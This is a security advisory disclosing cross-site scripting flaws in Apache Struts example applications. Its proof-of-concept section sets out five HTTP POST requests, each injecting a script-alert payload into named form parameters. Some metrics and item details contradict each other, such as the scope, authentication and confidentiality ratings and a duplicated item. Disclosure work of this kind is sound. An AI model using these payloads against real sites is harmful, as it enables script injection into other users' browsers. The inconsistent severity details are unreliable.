CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

Technical Description: ---------------------- Multiple persistence Cross-Site Scripting vulnerabilities are present in Apache Struts, as it fails to sanitise user-supplied input. i) Input passed via the 'name' and 'lastName' parameter in '/struts2-showcase/person/editPerson.action' is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. ii) Input passed via the 'clientName' parameter in '/struts2-rest-showcase/orders' action is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. iii) Input passed via the 'name' parameter in '/struts-examples/upload/upload-submit.do?queryParam=Successful' action is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. iV) Input passed via the 'message' parameter in '/struts-cookbook/processSimple.do' action is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. V) Input passed via the 'message' parameter in '/struts-cookbook/processSimple.do' action is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. These vulnerabilities have been tested on Apache Struts2 v2.2.3, Apache Struts2 v2.0.14 and Apache Struts v1.3.10. Other versions may also be affected. Impact: -------- Successful exploitation could allow an attacker to execute arbitrary HTML code in a user's browser session in the context of a vulnerable application. Affected Software: ------------------ Apache struts 2.2.3 and prior. Tested on, i) Apache struts 2.2.3 - Stored XSS - struts2-showcase-2.2.3 - struts2-rest-showcase-2.2.3 ii) Apache struts 2.0.14 - Stored XSS - struts2-showcase-2.0.14 iii) Apache struts 1.3.10 - Reflected XSS - struts-cookbook-1.3.10 - struts-examples-1.3.10 References: ----------- http://struts.apache.org http://secpod.org/blog/?p=450 Proof of Concept: ----------------- POC 1: ----- Stored XSS POST struts2-showcase/person/editPerson.action HTTP/1.1 Host: SERVER_IP:8080 User-Agent: struts2-showcase XSS-TEST Content-Type: application/x-www-form-urlencoded Content-Length: 192 Post Data: ---------- persons%281%29.name=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript %3E&persons%281%29.lastName=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2 Fscript%3E&method%3Asave=Save+all+persons POC 2: ----- Stored XSS POST /struts2-rest-showcase/orders HTTP/1.1 Host: SERVER_IP:8080 User-Agent: struts2-rest-showcase XSS-TEST Content-Type: application/x-www-form-urlencoded Content-Length: 78 Post Data: ---------- clientName=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&amount= POC 3: ----- Reflected XSS POST /struts-examples/upload/upload-submit.do?queryParam=Successful HTTP/1.1 Host: SERVER_IP:8080 User-Agent: Struts-examples XSS-TEST Content-Type: multipart/form-data; boundary=---------------------------41701 161044225432961947041 Content-Length: 481 Post Data: ---------- -----------------------------41701161044225432961947041\r\n Content-Disposition: form-data; name="theText"\r\n \r\n <script>alert("SecPod-XSS-TEST")</script>\r\n -----------------------------41701161044225432961947041\r\n Content-Disposition: form-data; name="theFile"; filename=""\r\n Content-Type: application/octet-stream\r\n \r\n \r\n -----------------------------41701161044225432961947041\r\n Content-Disposition: form-data; name="filePath"\r\n \r\n \r\n -----------------------------41701161044225432961947041--\r\n POC 4: ----- Reflected XSS POST /struts-cookbook/processSimple.do HTTP/1.1 Host: SERVER_IP:8080 User-Agent:Struts-cookbook XSS-TEST Content-Type: application/x-www-form-urlencoded Content-Length: 118 Post Data: ---------- name=XYZ&secret=XYZ&color=red&confirm=on&rating=1&message=%3Cscript%3Ealert %28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E& POC 5: ----- Reflected XSS POST /struts-cookbook/processDyna.do HTTP/1.1 Host: SERVER_IP:8080 User-Agent:Struts-cookbook XSS-TEST Content-Type: application/x-www-form-urlencoded Content-Length: 95 Post Data: ---------- name=ZYZ&secret=&color=red&message=%3Cscript%3Ealert%28%22SecPod-XSS-TEST %22%29%3C%2Fscript%3E& Solution: --------- Fix not available Risk Factor: ------------- CVSS Score Report: ACCESS_VECTOR = NETWORK ACCESS_COMPLEXITY = LOW AUTHENTICATION = NONE CONFIDENTIALITY_IMPACT = PARTIAL INTEGRITY_IMPACT = PARTIAL AVAILABILITY_IMPACT = NONE EXPLOITABILITY = PROOF_OF_CONCEPT REMEDIATION_LEVEL = UNAVAILABLE REPORT_CONFIDENCE = CONFIRMED CVSS Base Score = 6.4 (High) (AV:N/AC:L/Au:N/C:N/I:P/A:N) Credits: -------- Antu Sanadi of SecPod Technologies has been credited with the discovery of this vulnerability.
